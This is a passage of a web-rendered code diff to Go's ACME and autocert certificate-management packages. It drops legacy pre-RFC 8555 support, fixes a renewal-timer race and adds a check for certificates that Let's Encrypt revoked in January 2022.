cc, err := c.chainCert(ctx, url, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cert = append(cert, cc...)
|
||||
}
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
// chainCert fetches CA certificate chain recursively by following "up" links.
|
||||
// Each recursive call increments the depth by 1, resulting in an error
|
||||
// if the recursion level reaches maxChainLen.
|
||||
//
|
||||
// First chainCert call starts with depth of 0.
|
||||
func (c *Client) chainCert(ctx context.Context, url string, depth int) ([][]byte, error) {
|
||||
if depth >= maxChainLen {
|
||||
return nil, errors.New("acme: certificate chain is too deep")
|
||||
}
|
||||
|
||||
res, err := c.get(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
b, err := ioutil.ReadAll(io.LimitReader(res.Body, maxCertSize+1))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(b) > maxCertSize {
|
||||
return nil, errors.New("acme: certificate is too big")
|
||||
}
|
||||
chain := [][]byte{b}
|
||||
|
||||
uplink := linkHeader(res.Header, "up")
|
||||
if len(uplink) > maxChainLen {
|
||||
return nil, errors.New("acme: certificate chain is too large")
|
||||
}
|
||||
for _, up := range uplink {
|
||||
cc, err := c.chainCert(ctx, up, depth+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
chain = append(chain, cc...)
|
||||
}
|
||||
|
||||
return chain, nil
|
||||
}
|
||||
|
||||
// linkHeader returns URI-Reference values of all Link headers
|
||||
// with relation-type rel.
|
||||
// See https://tools.ietf.org/html/rfc5988#section-5 for details.
|
||||
@@ -1098,5 +801,5 @@ func encodePEM(typ string, b []byte) []byte {
|
||||
return pem.EncodeToMemory(pb)
|
||||
}
|
||||
|
||||
// timeNow is useful for testing for fixed current time.
|
||||
// timeNow is time.Now, except in tests which can mess with it.
|
||||
var timeNow = time.Now
|
||||
+36
-92
@@ -47,6 +47,8 @@ var createCertRetryAfter = time.Minute
|
||||
// pseudoRand is safe for concurrent use.
|
||||
var pseudoRand *lockedMathRand
|
||||
|
||||
var errPreRFC = errors.New("autocert: ACME server doesn't support RFC 8555")
|
||||
|
||||
func init() {
|
||||
src := mathrand.NewSource(time.Now().UnixNano())
|
||||
pseudoRand = &lockedMathRand{rnd: mathrand.New(src)}
|
||||
@@ -456,7 +458,7 @@ func (m *Manager) cert(ctx context.Context, ck certKey) (*tls.Certificate, error
|
||||
leaf: cert.Leaf,
|
||||
}
|
||||
m.state[ck] = s
|
||||
go m.renew(ck, s.key, s.leaf.NotAfter)
|
||||
go m.startRenew(ck, s.key, s.leaf.NotAfter)
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
@@ -582,8 +584,9 @@ func (m *Manager) createCert(ctx context.Context, ck certKey) (*tls.Certificate,
|
||||
if err != nil {
|
||||
// Remove the failed state after some time,
|
||||
// making the manager call createCert again on the following TLS hello.
|
||||
didRemove := testDidRemoveState // The lifetime of this timer is untracked, so copy mutable local state to avoid races.
|
||||
time.AfterFunc(createCertRetryAfter, func() {
|
||||
defer testDidRemoveState(ck)
|
||||
defer didRemove(ck)
|
||||
m.stateMu.Lock()
|
||||
defer m.stateMu.Unlock()
|
||||
// Verify the state hasn't changed and it's still invalid
|
||||
@@ -601,7 +604,7 @@ func (m *Manager) createCert(ctx context.Context, ck certKey) (*tls.Certificate,
|
||||
}
|
||||
state.cert = der
|
||||
state.leaf = leaf
|
||||
go m.renew(ck, state.key, state.leaf.NotAfter)
|
||||
go m.startRenew(ck, state.key, state.leaf.NotAfter)
|
||||
return state.tlscert()
|
||||
}
|
||||
|
||||
@@ -658,31 +661,19 @@ func (m *Manager) authorizedCert(ctx context.Context, key crypto.Signer, ck cert
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
var chain [][]byte
|
||||
switch {
|
||||
// Pre-RFC legacy CA.
|
||||
case dir.OrderURL == "":
|
||||
if err := m.verify(ctx, client, ck.domain); err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
der, _, err := client.CreateCert(ctx, csr, 0, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain = der
|
||||
// RFC 8555 compliant CA.
|
||||
default:
|
||||
o, err := m.verifyRFC(ctx, client, ck.domain)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
der, _, err := client.CreateOrderCert(ctx, o.FinalizeURL, csr, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain = der
|
||||
if dir.OrderURL == "" {
|
||||
return nil, nil, errPreRFC
|
||||
}
|
||||
|
||||
o, err := m.verifyRFC(ctx, client, ck.domain)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain, _, err := client.CreateOrderCert(ctx, o.FinalizeURL, csr, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
leaf, err = validCert(ck, chain, key, m.now())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
@@ -690,69 +681,6 @@ func (m *Manager) authorizedCert(ctx context.Context, key crypto.Signer, ck cert
|
||||
return chain, leaf, nil
|
||||
}
|
||||
|
||||
// verify runs the identifier (domain) pre-authorization flow for legacy CAs
|
||||
// using each applicable ACME challenge type.
|
||||
func (m *Manager) verify(ctx context.Context, client *acme.Client, domain string) error {
|
||||
// Remove all hanging authorizations to reduce rate limit quotas
|
||||
// after we're done.
|
||||
var authzURLs []string
|
||||
defer func() {
|
||||
go m.deactivatePendingAuthz(authzURLs)
|
||||
}()
|
||||
|
||||
// errs accumulates challenge failure errors, printed if all fail
|
||||
errs := make(map[*acme.Challenge]error)
|
||||
challengeTypes := m.supportedChallengeTypes()
|
||||
var nextTyp int // challengeType index of the next challenge type to try
|
||||
for {
|
||||
// Start domain authorization and get the challenge.
|
||||
authz, err := client.Authorize(ctx, domain)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
authzURLs = append(authzURLs, authz.URI)
|
||||
// No point in accepting challenges if the authorization status
|
||||
// is in a final state.
|
||||
switch authz.Status {
|
||||
case acme.StatusValid:
|
||||
return nil // already authorized
|
||||
case acme.StatusInvalid:
|
||||
return fmt.Errorf("acme/autocert: invalid authorization %q", authz.URI)
|
||||
}
|
||||
|
||||
// Pick the next preferred challenge.
|
||||
var chal *acme.Challenge
|
||||
for chal == nil && nextTyp < len(challengeTypes) {
|
||||
chal = pickChallenge(challengeTypes[nextTyp], authz.Challenges)
|
||||
nextTyp++
|
||||
}
|
||||
if chal == nil {
|
||||
errorMsg := fmt.Sprintf("acme/autocert: unable to authorize %q", domain)
|
||||
for chal, err := range errs {
|
||||
errorMsg += fmt.Sprintf("; challenge %q failed with error: %v", chal.Type, err)
|
||||
}
|
||||
return errors.New(errorMsg)
|
||||
}
|
||||
cleanup, err := m.fulfill(ctx, client, chal, domain)
|
||||
if err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
defer cleanup()
|
||||
if _, err := client.Accept(ctx, chal); err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
|
||||
// A challenge is fulfilled and accepted: wait for the CA to validate.
|
||||
if _, err := client.WaitAuthorization(ctx, authz.URI); err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// verifyRFC runs the identifier (domain) order-based authorization flow for RFC compliant CAs
|
||||
// using each applicable ACME challenge type.
|
||||
func (m *Manager) verifyRFC(ctx context.Context, client *acme.Client, domain string) (*acme.Order, error) {
|
||||
@@ -966,7 +894,7 @@ func httpTokenCacheKey(tokenPath string) string {
|
||||
return path.Base(tokenPath) + "+http-01"
|
||||
}
|
||||
|
||||
// renew starts a cert renewal timer loop, one per domain.
|
||||
// startRenew starts a cert renewal timer loop, one per domain.
|
||||
//
|
||||
// The loop is scheduled in two cases:
|
||||
// - a cert was fetched from cache for the first time (wasn't in m.state)
|
||||
@@ -974,7 +902,7 @@ func httpTokenCacheKey(tokenPath string) string {
|
||||
//
|
||||
// The key argument is a certificate private key.
|
||||
// The exp argument is the cert expiration time (NotAfter).
|
||||
func (m *Manager) renew(ck certKey, key crypto.Signer, exp time.Time) {
|
||||
func (m *Manager) startRenew(ck certKey, key crypto.Signer, exp time.Time) {
|
||||
m.renewalMu.Lock()
|
||||
defer m.renewalMu.Unlock()
|
||||
if m.renewal[ck] != nil {
|
||||
@@ -1200,6 +1128,10 @@ func validCert(ck certKey, der [][]byte, key crypto.Signer, now time.Time) (leaf
|
||||
if err := leaf.VerifyHostname(ck.domain); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// renew certificates revoked by Let's Encrypt in January 2022
|
||||
if isRevokedLetsEncrypt(leaf) {
|
||||
return nil, errors.New("acme/autocert: certificate was probably revoked by Let's Encrypt")
|
||||
}
|
||||
// ensure the leaf corresponds to the private key and matches the certKey type
|
||||
switch pub := leaf.PublicKey.(type) {
|
||||
case *rsa.PublicKey:
|
||||
@@ -1230,6 +1162,18 @@ func validCert(ck certKey, der [][]byte, key crypto.Signer, now time.Time) (leaf
|
||||
return leaf, nil
|
||||
}
|
||||
|
||||
// https://community.letsencrypt.org/t/2022-01-25-issue-with-tls-alpn-01-validation-method/170450
|
||||
var letsEncryptFixDeployTime = time.Date(2022, time.January, 26, 00, 48, 0, 0, time.UTC)
|
||||
|
||||
// isRevokedLetsEncrypt returns whether the certificate is likely to be part of
|
||||
// a batch of certificates revoked by Let's Encrypt in January 2022. This check
|
||||
// can be safely removed from May 2022.
|
||||
func isRevokedLetsEncrypt(cert *x509.Certificate) bool {
|
||||
O := cert.Issuer.Organization
|
||||
return len(O) == 1 && O[0] == "Let's Encrypt" &&
|
||||
cert.NotBefore.Before(letsEncryptFixDeployTime)
|
||||
}
|
||||
|
||||
type lockedMathRand struct {
|
||||
sync.Mutex
|
||||
rnd *mathrand.Rand
|
||||
|
||||
+25
-10
@@ -21,8 +21,9 @@ type domainRenewal struct {
|
||||
ck certKey
|
||||
key crypto.Signer
|
||||
|
||||
timerMu sync.Mutex
|
||||
timer *time.Timer
|
||||
timerMu sync.Mutex
|
||||
timer *time.Timer
|
||||
timerClose chan struct{} // if non-nil, renew closes this channel (and nils out the timer fields) instead of running
|
||||
}
|
||||
|
||||
// start starts a cert renewal timer at the time
|
||||
@@ -38,16 +39,28 @@ func (dr *domainRenewal) start(exp time.Time) {
|
||||
dr.timer = time.AfterFunc(dr.next(exp), dr.renew)
|
||||
}
|
||||
|
||||
// stop stops the cert renewal timer.
|
||||
// If the timer is already stopped, calling stop is a noop.
|
||||
// stop stops the cert renewal timer and waits for any in-flight calls to renew
|
||||
// to complete. If the timer is already stopped, calling stop is a noop.
|
||||
func (dr *domainRenewal) stop() {
|
||||
dr.timerMu.Lock()
|
||||
defer dr.timerMu.Unlock()
|
||||
if dr.timer == nil {
|
||||
return
|
||||
for {
|
||||
if dr.timer == nil {
|
||||
return
|
||||
}
|
||||
if dr.timer.Stop() {
|
||||
dr.timer = nil
|
||||
return
|
||||
} else {
|
||||
// dr.timer fired, and we acquired dr.timerMu before the renew callback did.
|
||||
// (We know this because otherwise the renew callback would have reset dr.timer!)
|
||||
timerClose := make(chan struct{})
|
||||
dr.timerClose = timerClose
|
||||
dr.timerMu.Unlock()
|
||||
<-timerClose
|
||||
dr.timerMu.Lock()
|
||||
}
|
||||
}
|
||||
dr.timer.Stop()
|
||||
dr.timer = nil
|
||||
}
|
||||
|
||||
// renew is called periodically by a timer.
|
||||
@@ -55,7 +68,9 @@ func (dr *domainRenewal) stop() {
|
||||
func (dr *domainRenewal) renew() {
|
||||
dr.timerMu.Lock()
|
||||
defer dr.timerMu.Unlock()
|
||||
if dr.timer == nil {
|
||||
if dr.timerClose != nil {
|
||||
close(dr.timerClose)
|
||||
dr.timer, dr.timerClose = nil, nil
|
||||
return
|
||||
}
|
||||
|
||||
@@ -67,8 +82,8 @@ func (dr *domainRenewal) renew() {
|
||||
next = renewJitter / 2
|
||||
next += time.Duration(pseudoRand.int63n(int64(next)))
|
||||
}
|
||||
dr.timer = time.AfterFunc(next, dr.renew)
|
||||
testDidRenewLoop(next, err)
|
||||
dr.timer = time.AfterFunc(next, dr.renew)
|
||||
}
|
||||
|
||||
// updateState locks and replaces the relevant Manager.state item with the given
|
||||
|
||||
Loaded 100 of 709 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user